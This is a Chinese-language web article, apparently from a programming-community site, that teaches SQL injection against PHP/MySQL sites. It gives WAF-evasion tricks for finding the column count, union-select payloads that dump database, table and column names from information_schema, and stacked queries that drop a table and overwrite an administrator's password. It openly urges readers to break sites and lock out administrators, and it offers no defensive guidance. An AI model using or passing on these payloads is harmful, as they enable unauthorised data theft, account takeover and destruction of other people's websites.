程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> 關於MYSQL數據庫 >> SQL注入中基礎的幾個問題及解決方法

SQL注入中基礎的幾個問題及解決方法

編輯:關於MYSQL數據庫

      以 php 為例

      引發 SQL 注入失敗最主要的原因是什麼主要就是 WAF 和手工保護代碼,WAF 用於攔截惡意代碼,但是 WAF 很好繞過,規則是死的,人是活的。WAF 部署在服務器端,根據預先定義的規則對 http 請求進行過濾,繼而攔截一些通用的必然 xss 和 sql 攻擊。

      Order by 語句被攔截?

      這個情況很少發生,,但是有時候 WAF 由於某些原因會攔截,不過,我們可以繞過,方法很簡單,用 Group by 就可以了。因為不再 WAF 的規則列表裡

      比如下面這樣提示 403 forbidden

      http://www.8090sec.com/gallery?id=1 order by 100--可以嘗試一下 group by

      http://www.8090sec.com/gallery?id=1 group by 100-- 成功

      但是,有可能這個還會被攔截。所以我們使用一條流傳不那麼廣泛的一個語句。那就是

      (主查詢語句)=(select 1)

      http://www.8090sec.com/news.php?id=8 and (select * from admins)=(select 1)

      可能會返回一個錯誤,類似 Operand should contain 5 column(s).

      這樣我們就知道有 5 列了。

      然後 union select 就懂了。。

      http://www.8090sec.com/news.php?id=-8 union select 1,2,3,4,5--order by 10000 了仍然沒有報錯?

      這裡講一下有時候 order by 可以用,但是到 10000 了還是不報錯,與上一節不同的是,上

      一節是請求被 WAF 攔截,這裡呢,則是因為注入語句有點不同,當我第一次遇到的時候,

      我天真的以為數據庫表裡真的有 10000 列。答案很簡單,order by 1000000 還是不報錯,是

      因為我們的注入語句沒有運行。

      http://www.8090sec.com/news.php?id=9 order by 10000000000-- 不報錯

      我們稍微改變一下 url ,在 id 後面加一個單引號,並且在最後加一個加號。

      http://www.8090sec.com/news.php?id=9' order by 10000000--+ 報錯

      然後開始使用 union 查詢就行了,方法一樣。

      http://www.8090sec.com/news.php?id=-9' union select 1,2,3,4,5,6,7,8--+

      從其他數據庫裡獲取數據

      有時候我們注入成功了,但是讀出來的表都是些新聞啊,相冊啊,文章啊,之類的,我們要

      找的可是管理,登錄表啊。這時候我們就需要看一下是不是還有其他的數據庫。

      首先獲取所有的數據庫名:

      http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(schema_name),4 from information_schema.schemata

      然後獲得指定數據庫的表:

      http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema= (這裡填寫數據庫 hex 編碼)

      然後獲取所有列:

      http://www.8090sec.com/news.php?id=9 union select 1,2,group_concat(column_name),4 from information_schema.tables

      where table_schema=(這裡填寫數據庫 hex 編碼) and table_name=(這裡填寫表名的 hex 編碼)

      通過 SQL 注入可以修改數據庫裡的信息嗎?

      SQL 可以查詢,更新,插入信息,所以,查詢信息只是其中的一個功能,有時候無法破解

      管理員帳號的 MD5 值。那麼為什麼不自己加一個呢..insert 插入語句就可以,如果找不到

      後台,邪惡一點,干脆直接 drop 掉整個表,這樣,管理員也登陸不上了。網站也壞了。還

      可以通過 update 更新語句來修改管理員密碼,

      http://www.8090sec.com/news.php?id=1

      假設這裡存在注入。

      我們通過 union 獲取了一些表名,比如有個 news,那麼我們通過下面這個語句刪除 news

      表。

      http://www.8090sec.com/news.php?id=1; DROP TABLE news

      然後網站所有的新聞內容就沒了,如果要該更改管理員密碼,那麼這樣:

      http://www.8090sec.com/news.php?id=1; UPDATE 'admin_login' SET 'password' = '你自己的 md5' WHERE login_name='admin'--

    1. 上一頁:
    2. 下一頁:
    Copyright © 程式師世界 All Rights Reserved